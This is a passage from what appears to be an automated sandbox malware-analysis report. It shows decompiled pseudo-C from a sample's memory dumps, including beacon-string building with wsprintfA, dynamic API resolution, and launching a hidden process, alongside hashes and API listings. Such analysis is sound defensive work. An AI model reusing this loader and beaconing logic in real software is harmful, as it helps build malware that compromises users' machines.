				void* _t106;

				_t43 = _t84;
				_t65 = __ebx + 2;
				 *_t43 =  *_t43 ^ __edx ^  *__eax;
				_t89 = _t95;
				_t96 = _t95 - 8;
				_push(_t65);
				_push(_t84);
				_push(_t89);
				asm("cld");
				_t66 = _a8;
				_t44 = _a4;
				if(( *(_t44 + 4) & 0x00000006) != 0) {
					_push(_t89);
					E00798497(_t66 + 0x10, _t66, 0xffffffff);
					_t46 = 1;
				} else {
					_v12 = _t44;
					_v8 = _a12;
					 *((intOrPtr*)(_t66 - 4)) =  &_v12;
					_t86 =  *(_t66 + 0xc);
					_t80 =  *(_t66 + 8);
					_t49 = E00798551(_t66);
					_t99 = _t96 + 4;
					if(_t49 == 0) {
						 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
						goto L11;
					} else {
						while(_t86 != 0xffffffff) {
							_t53 =  *((intOrPtr*)(_t80 + 4 + (_t86 + _t86 * 2) * 4));
							if(_t53 == 0) {
								L8:
								_t80 =  *(_t66 + 8);
								_t86 = _t80[_t86 + _t86 * 2];
								continue;
							} else {
								_t54 =  *_t53();
								_t89 = _t89;
								_t86 = _t86;
								_t66 = _a8;
								_t55 = _t54;
								_t106 = _t54;
								if(_t106 == 0) {
									goto L8;
								} else {
									if(_t106 < 0) {
										_t46 = 0;
									} else {
										_t82 =  *(_t66 + 8);
										E0079843C(_t55, _t66);
										_t89 = _t66 + 0x10;
										E00798497(_t89, _t66, 0);
										_t99 = _t99 + 0xc;
										E00798533(_t82[2]);
										 *(_t66 + 0xc) =  *_t82;
										_t66 = 0;
										_t86 = 0;
										 *(_t82[2])(1);
										goto L8;
									}
								}
							}
							goto L13;
						}
						L11:
						_t46 = 1;
					}
				}
				L13:
				return _t46;
			}

0x00798330
0x00798331
0x00798332
0x00798335
0x00798337
0x0079833a
0x0079833b
0x0079833d
0x0079833e
0x0079833f
0x00798342
0x0079834c
0x007983fd
0x00798404
0x0079840d
0x00798352
0x00798352
0x00798358
0x0079835e
0x00798361
0x00798364
0x00798368
0x0079836d
0x00798372
0x007983f2
0x00000000
0x00798374
0x00798374
0x00798380
0x00798382
0x007983dd
0x007983dd
0x007983e3
0x00000000
0x00798384
0x00798393
0x00798395
0x00798396
0x00798397
0x0079839a
0x0079839a
0x0079839c
0x00000000
0x0079839e
0x0079839e
0x007983e8
0x007983a0
0x007983a0
0x007983a4
0x007983ac
0x007983b1
0x007983b6
0x007983c2
0x007983ca
0x007983d1
0x007983d7
0x007983db
0x00000000
0x007983db
0x0079839e
0x0079839c
0x00000000
0x00798382
0x007983f6
0x007983f6
0x007983f6
0x00798372
0x00798412
0x00798419

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f37e18b72ef76f3e50d9b898edfd48ae2b22ba2880acf1ff50920e361efee75
Instruction ID: e369f23f01da15d5780b46144819a2ed0723cfe453fd748998f7287f45f77b4c
Opcode Fuzzy Hash: 4f37e18b72ef76f3e50d9b898edfd48ae2b22ba2880acf1ff50920e361efee75
Instruction Fuzzy Hash: 0C212832900204DFCF10EF68D8C49ABBBA5FF46350B468169E815CB245EB34F925CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 0081AE68 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.523539634.0000000000816000.00000040.00000020.00020000.00000000.sdmp, Offset: 00816000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_816000_server.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 48f2f4d985806555c9e3dfd61d83d33cc419d32d5de6aea9b140344af120e3fd
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 2C117CB2341200AFD748DE59DC81EE673EAFF88320B298065ED04CB312E675EC42CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00792B91 Relevance: 37.8, APIs: 25, Instructions: 278
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E00792B91(long __eax, intOrPtr _a4, void* _a8, void* _a16, void* _a20, void* _a24, intOrPtr _a32, void* _a40, intOrPtr _a44) {
				intOrPtr _v4;
				signed int _v8;
				int* _v12;
				char* _v16;
				intOrPtr _v20;
				void* _v24;
				intOrPtr _v32;
				intOrPtr _v36;
				void* _v40;
				void* __ebx;
				void* __edi;
				long _t68;
				intOrPtr _t69;
				intOrPtr _t70;
				intOrPtr _t71;
				intOrPtr _t72;
				intOrPtr _t73;
				void* _t76;
				intOrPtr _t77;
				int _t80;
				intOrPtr _t81;
				intOrPtr _t85;
				intOrPtr _t86;
				intOrPtr _t87;
				void* _t89;
				void* _t92;
				intOrPtr _t96;
				intOrPtr _t100;
				intOrPtr* _t102;
				int* _t108;
				int* _t118;
				char** _t120;
				char* _t121;
				intOrPtr* _t126;
				intOrPtr* _t128;
				intOrPtr* _t130;
				intOrPtr* _t132;
				intOrPtr _t135;
				intOrPtr _t139;
				int _t142;
				intOrPtr _t144;
				int _t147;
				intOrPtr _t148;
				int _t151;
				void* _t152;
				intOrPtr _t166;
				void* _t168;
				int _t169;
				void* _t170;
				void* _t171;
				long _t172;
				intOrPtr* _t173;
				intOrPtr* _t174;
				intOrPtr _t175;
				intOrPtr* _t178;
				char** _t181;
				char** _t183;
				char** _t184;
				void* _t189;

				_t68 = __eax;
				_t181 =  &_v16;
				_t152 = _a20;
				_a20 = 8;
				if(__eax == 0) {
					_t68 = GetTickCount();
				}
				_t69 =  *0x79a018; // 0xffd58d38
				asm("bswap eax");
				_t70 =  *0x79a014; // 0x3a87c8cd
				asm("bswap eax");
				_t71 =  *0x79a010; // 0xd8d2f808
				asm("bswap eax");
				_t72 =  *0x79a00c; // 0xeec43f25
				asm("bswap eax");
				_t73 =  *0x79a348; // 0x258d5a8
				_t3 = _t73 + 0x79b5ac; // 0x74666f73
				_t169 = wsprintfA(_t152, _t3, 3, 0x3d18f, _t72, _t71, _t70, _t69,  *0x79a02c,  *0x79a004, _t68);
				_t76 = E0079467F();
				_t77 =  *0x79a348; // 0x258d5a8
				_t4 = _t77 + 0x79b575; // 0x74707526
				_t80 = wsprintfA(_t169 + _t152, _t4, _t76);
				_t183 =  &(_t181[0xe]);
				_t170 = _t169 + _t80;
				if(_a24 != 0) {
					_t148 =  *0x79a348; // 0x258d5a8
					_t8 = _t148 + 0x79b508; // 0x732526
					_t151 = wsprintfA(_t170 + _t152, _t8, _a24);
					_t183 =  &(_t183[3]);
					_t170 = _t170 + _t151;
				}
				_t81 =  *0x79a348; // 0x258d5a8
				_t10 = _t81 + 0x79b89e; // 0x2d28e46
				_t153 = _t10;
				_t189 = _a20 - _t10;
				_t12 = _t81 + 0x79b246; // 0x74636126
				_t164 = 0 | _t189 == 0x00000000;
				_t171 = _t170 + wsprintfA(_t170 + _t152, _t12, _t189 == 0);
				_t85 =  *0x79a36c; // 0x2d295b0
				_t184 =  &(_t183[3]);
				if(_t85 != 0) {
					_t144 =  *0x79a348; // 0x258d5a8
					_t16 = _t144 + 0x79b8be; // 0x3d736f26
					_t147 = wsprintfA(_t171 + _t152, _t16, _t85);
					_t184 =  &(_t184[3]);
					_t171 = _t171 + _t147;
				}
				_t86 = E0079472F(_t153);
				_a32 = _t86;
				if(_t86 != 0) {
					_t139 =  *0x79a348; // 0x258d5a8
					_t19 = _t139 + 0x79b8d0; // 0x736e6426
					_t142 = wsprintfA(_t171 + _t152, _t19, _t86);
					_t184 =  &(_t184[3]);
					_t171 = _t171 + _t142;
					HeapFree( *0x79a2d8, 0, _a40);
				}
				_t87 = E00791340();
				_a32 = _t87;
				if(_t87 != 0) {
					_t135 =  *0x79a348; // 0x258d5a8
					_t23 = _t135 + 0x79b8c5; // 0x6f687726
					wsprintfA(_t171 + _t152, _t23, _t87);
					_t184 =  &(_t184[3]);
					HeapFree( *0x79a2d8, 0, _a40);
				}
				_t166 =  *0x79a3cc; // 0x2d29600
				_t89 = E00796B59( &E0079A00A, _t166 + 4);
				_t172 = 0;
				_a16 = _t89;
				if(_t89 == 0) {
					L30:
					HeapFree( *0x79a2d8, _t172, _t152);
					return _a44;
				} else {
					_t92 = RtlAllocateHeap( *0x79a2d8, 0, 0x800);
					_a24 = _t92;
					if(_t92 == 0) {
						L29:
						HeapFree( *0x79a2d8, _t172, _a8);
						goto L30;
					}
					E00792915(GetTickCount());
					_t96 =  *0x79a3cc; // 0x2d29600
					__imp__(_t96 + 0x40);
					asm("lock xadd [eax], ecx");
					_t100 =  *0x79a3cc; // 0x2d29600
					__imp__(_t100 + 0x40);
					_t102 =  *0x79a3cc; // 0x2d29600
					_t168 = E00796675(1, _t164, _t152,  *_t102);
					asm("lock xadd [eax], ecx");
					if(_t168 == 0) {
						L28:
						HeapFree( *0x79a2d8, _t172, _a16);
						goto L29;
					}
					StrTrimA(_t168, 0x799280);
					_push(_t168);
					_t108 = E00797563();
					_v12 = _t108;
					if(_t108 == 0) {
						L27:
						HeapFree( *0x79a2d8, _t172, _t168);
						goto L28;
					}
					_t173 = __imp__;
					 *_t173(_t168, _a8);
					 *_t173(_a4, _v12);
					_t174 = __imp__;
					 *_t174(_v4, _v24);
					_t175 = E00796536( *_t174(_v12, _t168), _v20);
					_v36 = _t175;
					if(_t175 == 0) {
						_v8 = 8;
						L25:
						E007963F6();
						L26:
						HeapFree( *0x79a2d8, 0, _v40);
						_t172 = 0;
						goto L27;
					}
					_t118 = E00796F7D(_t152, 0xffffffffffffffff, _t168,  &_v24);
					_v12 = _t118;
					if(_t118 == 0) {
						_t178 = _v24;
						_v20 = E0079597D(_t178, _t175, _v16, _v12);
						_t126 =  *((intOrPtr*)(_t178 + 8));
						 *((intOrPtr*)( *_t126 + 0x80))(_t126);
						_t128 =  *((intOrPtr*)(_t178 + 8));
						 *((intOrPtr*)( *_t128 + 8))(_t128);
						_t130 =  *((intOrPtr*)(_t178 + 4));
						 *((intOrPtr*)( *_t130 + 8))(_t130);
						_t132 =  *_t178;
						 *((intOrPtr*)( *_t132 + 8))(_t132);
						E007961DA(_t178);
					}
					if(_v8 != 0x10d2) {
						L20:
						if(_v8 == 0) {
							_t120 = _v16;
							if(_t120 != 0) {
								_t121 =  *_t120;
								_t176 =  *_v12;
								_v16 = _t121;
								wcstombs(_t121, _t121,  *_v12);
								 *_v24 = E0079673A(_v16, _v16, _t176 >> 1);
							}
						}
						goto L23;
					} else {
						if(_v16 != 0) {
							L23:
							E007961DA(_v32);
							if(_v12 == 0 || _v8 == 0x10d2) {
								goto L26;
							} else {
								goto L25;
							}
						}
						_v8 = _v8 & 0x00000000;
						goto L20;
					}
				}
			}

0x00792b91
0x00792b91
0x00792b95
0x00792b9c
0x00792ba6
0x00792ba8
0x00792ba8
0x00792bb5
0x00792bc0
0x00792bc3
0x00792bce
0x00792bd1
0x00792bd6
0x00792bd9
0x00792bde
0x00792be1
0x00792bed
0x00792bfa
0x00792bfc
0x00792c02
0x00792c07
0x00792c12
0x00792c14
0x00792c17
0x00792c1e
0x00792c20
0x00792c29
0x00792c34
0x00792c36
0x00792c39
0x00792c39
0x00792c3b
0x00792c40
0x00792c40
0x00792c48
0x00792c4c
0x00792c52
0x00792c5d
0x00792c5f
0x00792c64
0x00792c69
0x00792c6c
0x00792c71
0x00792c7c
0x00792c7e
0x00792c81
0x00792c81
0x00792c83
0x00792c8e
0x00792c94
0x00792c97
0x00792c9c
0x00792ca7
0x00792ca9
0x00792cb0
0x00792cba
0x00792cba
0x00792cbc
0x00792cc1
0x00792cc7
0x00792cca
0x00792ccf
0x00792cd9
0x00792cdb
0x00792cea
0x00792cea
0x00792cec
0x00792cfa
0x00792cff
0x00792d01
0x00792d07
0x00792ee7
0x00792eef
0x00792efc
0x00792d0d
0x00792d19
0x00792d1f
0x00792d25
0x00792eda
0x00792ee5
0x00000000
0x00792ee5
0x00792d31
0x00792d36
0x00792d3f
0x00792d50
0x00792d54
0x00792d5d
0x00792d63
0x00792d70
0x00792d7d
0x00792d83
0x00792ecd
0x00792ed8
0x00000000
0x00792ed8
0x00792d8f
0x00792d95
0x00792d96
0x00792d9b
0x00792da1
0x00792ec3
0x00792ecb
0x00000000
0x00792ecb
0x00792dab
0x00792db2
0x00792dbc
0x00792dc2
0x00792dcc
0x00792dde
0x00792de0
0x00792de6
0x00792eff
0x00792eae
0x00792eae
0x00792eb3
0x00792ebf
0x00792ec1
0x00000000
0x00792ec1
0x00792df1
0x00792df6
0x00792dfc
0x00792e07
0x00792e12
0x00792e16
0x00792e1c
0x00792e22
0x00792e28
0x00792e2b
0x00792e31
0x00792e34
0x00792e39
0x00792e3d
0x00792e3d
0x00792e4a
0x00792e58
0x00792e5d
0x00792e5f
0x00792e65
0x00792e6b
0x00792e6d
0x00792e72
0x00792e76
0x00792e92
0x00792e92
0x00792e65
0x00000000
0x00792e4c
0x00792e51
0x00792e94
0x00792e98
0x00792ea2
0x00000000
0x00000000
0x00000000
0x00000000
0x00792ea2
0x00792e53
0x00000000
0x00792e53
0x00792e4a

APIs

GetTickCount.KERNEL32 ref: 00792BA8
wsprintfA.USER32 ref: 00792BF5
wsprintfA.USER32 ref: 00792C12
wsprintfA.USER32 ref: 00792C34
wsprintfA.USER32 ref: 00792C5B
wsprintfA.USER32 ref: 00792C7C
wsprintfA.USER32 ref: 00792CA7
HeapFree.KERNEL32(00000000,?), ref: 00792CBA
wsprintfA.USER32 ref: 00792CD9
HeapFree.KERNEL32(00000000,?), ref: 00792CEA

Part of subcall function 00796B59: RtlEnterCriticalSection.NTDLL(02D295C0), ref: 00796B75
Part of subcall function 00796B59: RtlLeaveCriticalSection.NTDLL(02D295C0), ref: 00796B93

RtlAllocateHeap.NTDLL(00000000,00000800), ref: 00792D19
GetTickCount.KERNEL32 ref: 00792D2B
RtlEnterCriticalSection.NTDLL(02D295C0), ref: 00792D3F
RtlLeaveCriticalSection.NTDLL(02D295C0), ref: 00792D5D

Part of subcall function 00796675: lstrlen.KERNEL32(00000000,00000000,253D7325,00000000,00000000,?,7491C740,00793ECE,00000000,02D29600), ref: 007966A0
Part of subcall function 00796675: lstrlen.KERNEL32(00000000,?,7491C740,00793ECE,00000000,02D29600), ref: 007966A8
Part of subcall function 00796675: strcpy.NTDLL ref: 007966BF
Part of subcall function 00796675: lstrcat.KERNEL32(00000000,00000000), ref: 007966CA
Part of subcall function 00796675: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,00793ECE,?,7491C740,00793ECE,00000000,02D29600), ref: 007966E7

StrTrimA.SHLWAPI(00000000,00799280,?,02D29600), ref: 00792D8F

Part of subcall function 00797563: lstrlen.KERNEL32(02D29C10,00000000,00000000,00000000,00793EF9,00000000), ref: 00797573
Part of subcall function 00797563: lstrlen.KERNEL32(?), ref: 0079757B
Part of subcall function 00797563: lstrcpy.KERNEL32(00000000,02D29C10), ref: 0079758F
Part of subcall function 00797563: lstrcat.KERNEL32(00000000,?), ref: 0079759A

lstrcpy.KERNEL32(00000000,?), ref: 00792DB2
lstrcpy.KERNEL32(?,?), ref: 00792DBC
lstrcat.KERNEL32(?,?), ref: 00792DCC
lstrcat.KERNEL32(?,00000000), ref: 00792DD3

Part of subcall function 00796536: lstrlen.KERNEL32(?,00000000,02D29E18,00000000,00796F0A,02D2A03B,43175AC3,?,?,?,?,43175AC3,00000005,0079A00C,4D283A53,?), ref: 0079653D
Part of subcall function 00796536: mbstowcs.NTDLL ref: 00796566
Part of subcall function 00796536: memset.NTDLL ref: 00796578

wcstombs.NTDLL ref: 00792E76

Part of subcall function 0079597D: SysAllocString.OLEAUT32(?), ref: 007959B8

Part of subcall function 007961DA: RtlFreeHeap.NTDLL(00000000,00000000,00796383,00000000,?,00000000,00000000), ref: 007961E6

HeapFree.KERNEL32(00000000,?), ref: 00792EBF
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 00792ECB
HeapFree.KERNEL32(00000000,?,?,02D29600), ref: 00792ED8
HeapFree.KERNEL32(00000000,?), ref: 00792EE5
HeapFree.KERNEL32(00000000,?), ref: 00792EEF

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: Heap$Free$wsprintf$lstrlen$CriticalSectionlstrcat$lstrcpy$CountEnterLeaveTickTrim$AllocAllocateStringmbstowcsmemsetstrcpywcstombs
String ID:
API String ID: 1185349883-0
Opcode ID: 98c33a2f280b348287cef944cb6aba5e81046e4f206d7f4d122e650b106d9874
Instruction ID: 450436fe389dfef8df4a7bac4233c81b825bb7d4b893937b9d74ec59485aeefd
Opcode Fuzzy Hash: 98c33a2f280b348287cef944cb6aba5e81046e4f206d7f4d122e650b106d9874
Instruction Fuzzy Hash: 2CA18A71501214FFCB11EF68EC88E6A7BE8EF88754F05492AF448D7221D739D846CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 00797238 Relevance: 13.6, APIs: 9, Instructions: 145
stringCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E00797238(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;
				signed int _v28;
				intOrPtr _v32;
				void* __edi;
				void* __esi;
				intOrPtr _t58;
				signed int _t60;
				signed int _t62;
				intOrPtr _t64;
				intOrPtr _t66;
				intOrPtr _t70;
				void* _t72;
				void* _t75;
				void* _t76;
				intOrPtr _t80;
				WCHAR* _t83;
				void* _t84;
				void* _t85;
				void* _t86;
				intOrPtr _t92;
				intOrPtr* _t102;
				signed int _t103;
				void* _t104;
				intOrPtr _t105;
				void* _t107;
				intOrPtr* _t115;
				void* _t119;
				intOrPtr _t125;

				_t58 =  *0x79a3dc; // 0x2d29cc0
				_v24 = _t58;
				_v28 = 8;
				_v20 = GetTickCount();
				_t60 = E00796ABD();
				_t103 = 5;
				_t98 = _t60 % _t103 + 6;
				_t62 = E00796ABD();
				_t117 = _t62 % _t103 + 6;
				_v32 = _t62 % _t103 + 6;
				_t64 = E007942E9(_t60 % _t103 + 6);
				_v16 = _t64;
				if(_t64 != 0) {
					_t66 = E007942E9(_t117);
					_v12 = _t66;
					if(_t66 != 0) {
						_push(5);
						_t104 = 0xa;
						_t119 = E0079398D(_t104,  &_v20);
						if(_t119 == 0) {
							_t119 = 0x79918c;
						}
						_t70 = E00795FA1(_v24);
						_v8 = _t70;
						if(_t70 != 0) {
							_t115 = __imp__;
							_t72 =  *_t115(_t119);
							_t75 =  *_t115(_v8);
							_t76 =  *_t115(_a4);
							_t80 = E007933DC(lstrlenW(_a8) + _t72 + _v32 + _t98 + _t72 + _v32 + _t98 + 0xbc + _t75 + _t76 + lstrlenW(_a8) + _t72 + _v32 + _t98 + _t72 + _v32 + _t98 + 0xbc + _t75 + _t76);
							_v24 = _t80;
							if(_t80 != 0) {
								_t105 =  *0x79a348; // 0x258d5a8
								_t102 =  *0x79a138; // 0x797ddd
								_t28 = _t105 + 0x79bd10; // 0x530025
								 *_t102(_t80, _t28, _t119, _t119, _v16, _v12, _v12, _v16, _a4, _v8, _a8);
								_push(4);
								_t107 = 5;
								_t83 = E0079398D(_t107,  &_v20);
								_a8 = _t83;
								if(_t83 == 0) {
									_a8 = 0x799190;
								}
								_t84 =  *_t115(_a8);
								_t85 =  *_t115(_v8);
								_t86 =  *_t115(_a4);
								_t125 = E007933DC(lstrlenW(_a12) + _t84 + _t84 + _t85 + _t86 + lstrlenW(_a12) + _t84 + _t84 + _t85 + _t86 + 0x13a);
								if(_t125 == 0) {
									E007961DA(_v24);
								} else {
									_t92 =  *0x79a348; // 0x258d5a8
									_t44 = _t92 + 0x79ba20; // 0x73006d
									 *_t102(_t125, _t44, _a8, _a8, _a4, _v8, _a12);
									 *_a16 = _v24;
									_v28 = _v28 & 0x00000000;
									 *_a20 = _t125;
								}
							}
							E007961DA(_v8);
						}
						E007961DA(_v12);
					}
					E007961DA(_v16);
				}
				return _v28;
			}

0x0079723e
0x00797246
0x00797249
0x00797256
0x00797259
0x00797260
0x00797267
0x0079726a
0x00797277
0x0079727a
0x0079727d
0x00797282
0x00797287
0x0079728f
0x00797294
0x00797299
0x0079729f
0x007972a3
0x007972ac
0x007972b0
0x007972b2
0x007972b2
0x007972ba
0x007972bf
0x007972c4
0x007972ca
0x007972d1
0x007972e2
0x007972e9
0x007972fb
0x00797300
0x00797305
0x0079730e
0x00797317
0x00797320
0x00797336
0x0079733b
0x0079733f
0x00797343
0x00797348
0x0079734d
0x0079734f
0x0079734f
0x00797359
0x00797362
0x00797369
0x00797385
0x00797389
0x007973c2
0x0079738b
0x0079738e
0x00797396
0x007973a7
0x007973af
0x007973b7
0x007973bb
0x007973bb
0x00797389
0x007973ca
0x007973ca
0x007973d2
0x007973d2
0x007973da
0x007973da
0x007973e6

APIs

GetTickCount.KERNEL32 ref: 00797250
lstrlen.KERNEL32(00000000,00000005), ref: 007972D1
lstrlen.KERNEL32(?), ref: 007972E2
lstrlen.KERNEL32(00000000), ref: 007972E9
lstrlenW.KERNEL32(80000002), ref: 007972F0
lstrlen.KERNEL32(?,00000004), ref: 00797359
lstrlen.KERNEL32(?), ref: 00797362
lstrlen.KERNEL32(?), ref: 00797369
lstrlenW.KERNEL32(?), ref: 00797370

Part of subcall function 007961DA: RtlFreeHeap.NTDLL(00000000,00000000,00796383,00000000,?,00000000,00000000), ref: 007961E6

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: lstrlen$CountFreeHeapTick
String ID:
API String ID: 2535036572-0
Opcode ID: 8e82a8834f338bf209f3c12047e6ff05ef476be4a6f0a19efa6b727378152599
Instruction ID: 88789e7d45f4451032237df7ca1d49cabf5631720f3ae57357a9ef5747317fcb
Opcode Fuzzy Hash: 8e82a8834f338bf209f3c12047e6ff05ef476be4a6f0a19efa6b727378152599
Instruction Fuzzy Hash: 35516D3290021AEBCF11AFA8EC49ADE7BB5EF44314F058025FE14A7221DB39DA11DB94

Uniqueness

Uniqueness Score: -1.00%

Function 007937DF Relevance: 10.6, APIs: 7, Instructions: 109
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E007937DF(void* __eax, void* __ecx) {
				long _v8;
				char _v12;
				void* _v16;
				void* _v28;
				long _v32;
				void _v104;
				char _v108;
				long _t36;
				intOrPtr _t40;
				intOrPtr _t47;
				intOrPtr _t50;
				void* _t58;
				void* _t68;
				intOrPtr* _t70;
				intOrPtr* _t71;

				_t1 = __eax + 0x14; // 0x74183966
				_t69 =  *_t1;
				_t36 = E00796BF9(__ecx,  *((intOrPtr*)( *_t1 + 0xc)),  &_v12,  &_v16);
				_v8 = _t36;
				if(_t36 != 0) {
					L12:
					return _v8;
				}
				E00797AB0( *((intOrPtr*)(_t69 + 0xc)),  *((intOrPtr*)(_t69 + 8)), _v12);
				_t40 = _v12(_v12);
				_v8 = _t40;
				if(_t40 == 0 && ( *0x79a300 & 0x00000001) != 0) {
					_v32 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v108 = 0;
					memset( &_v104, 0, 0x40);
					_t47 =  *0x79a348; // 0x258d5a8
					_t18 = _t47 + 0x79b706; // 0x73797325
					_t68 = E0079127E(_t18);
					if(_t68 == 0) {
						_v8 = 8;
					} else {
						_t50 =  *0x79a348; // 0x258d5a8
						_t19 = _t50 + 0x79b86c; // 0x2d28e14
						_t20 = _t50 + 0x79b3f6; // 0x4e52454b
						_t71 = GetProcAddress(GetModuleHandleA(_t20), _t19);
						if(_t71 == 0) {
							_v8 = 0x7f;
						} else {
							_v108 = 0x44;
							E00795B56();
							_t58 =  *_t71(0, _t68, 0, 0, 0, 0x4000000, 0, 0,  &_v108,  &_v32, 0);
							_push(1);
							E00795B56();
							if(_t58 == 0) {
								_v8 = GetLastError();
							} else {
								CloseHandle(_v28);
								CloseHandle(_v32);
							}
						}
						HeapFree( *0x79a2d8, 0, _t68);
					}
				}
				_t70 = _v16;
				 *((intOrPtr*)(_t70 + 0x18))( *((intOrPtr*)(_t70 + 0x1c))( *_t70));
				E007961DA(_t70);
				goto L12;
			}

0x007937e7
0x007937e7
0x007937f6
0x007937fd
0x00793802
0x0079390f
0x00793916
0x00793916
0x00793811
0x00793819
0x0079381c
0x00793821
0x00793836
0x0079383c
0x0079383d
0x00793840
0x00793846
0x00793849
0x0079384e
0x00793856
0x00793862
0x00793866
0x007938f6
0x0079386c
0x0079386c
0x00793871
0x00793878
0x0079388c
0x00793890
0x007938df
0x00793892
0x00793893
0x0079389a
0x007938b3
0x007938b5
0x007938b9
0x007938c0
0x007938da
0x007938c2
0x007938cb
0x007938d0
0x007938d0
0x007938c0
0x007938ee
0x007938ee
0x00793866
0x007938fd
0x00793906
0x0079390a
0x00000000

APIs

Part of subcall function 00796BF9: GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,007937FB,?,?,?,?,00000000,00000000), ref: 00796C1E
Part of subcall function 00796BF9: GetProcAddress.KERNEL32(00000000,7243775A), ref: 00796C40
Part of subcall function 00796BF9: GetProcAddress.KERNEL32(00000000,614D775A), ref: 00796C56
Part of subcall function 00796BF9: GetProcAddress.KERNEL32(00000000,6E55775A), ref: 00796C6C
Part of subcall function 00796BF9: GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 00796C82
Part of subcall function 00796BF9: GetProcAddress.KERNEL32(00000000,6C43775A), ref: 00796C98

memset.NTDLL ref: 00793849

Part of subcall function 0079127E: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,74183966,00000000,00793862,73797325), ref: 0079128F
Part of subcall function 0079127E: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 007912A9

GetModuleHandleA.KERNEL32(4E52454B,02D28E14,73797325), ref: 0079387F
GetProcAddress.KERNEL32(00000000), ref: 00793886
HeapFree.KERNEL32(00000000,00000000), ref: 007938EE

Part of subcall function 00795B56: GetProcAddress.KERNEL32(36776F57,00792425), ref: 00795B71

CloseHandle.KERNEL32(00000000,00000001), ref: 007938CB
CloseHandle.KERNEL32(?), ref: 007938D0
GetLastError.KERNEL32(00000001), ref: 007938D4

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: AddressProc$Handle$CloseEnvironmentExpandModuleStrings$ErrorFreeHeapLastmemset
String ID:
API String ID: 3075724336-0
Opcode ID: 7d25af0eec9e640be085686b658b4b7fd54ad3df533ce31c2b5bbe6fda30a621
Instruction ID: 18ea19e0c67982c8eca2877cb86ae371f73c69351f375f5554b0c0edfe3d3b8d
Opcode Fuzzy Hash: 7d25af0eec9e640be085686b658b4b7fd54ad3df533ce31c2b5bbe6fda30a621
Instruction Fuzzy Hash: 163112B1900219FFDF10AFA8EC89D9EBBBCEB08344F104565F615A7121D7395E49DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00793FA5 Relevance: 10.6, APIs: 7, Instructions: 92
networksynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00793FA5(void* __ecx, void* __esi) {
				long _v8;
				long _v12;
				long _v16;
				long _v20;
				long _t34;
				long _t39;
				long _t42;
				long _t56;
				void* _t58;
				void* _t59;
				void* _t61;

				_t61 = __esi;
				_t59 = __ecx;
				 *((intOrPtr*)(__esi + 0x2c)) = 0;
				do {
					_t34 = WaitForSingleObject( *(_t61 + 0x1c), 0);
					_v20 = _t34;
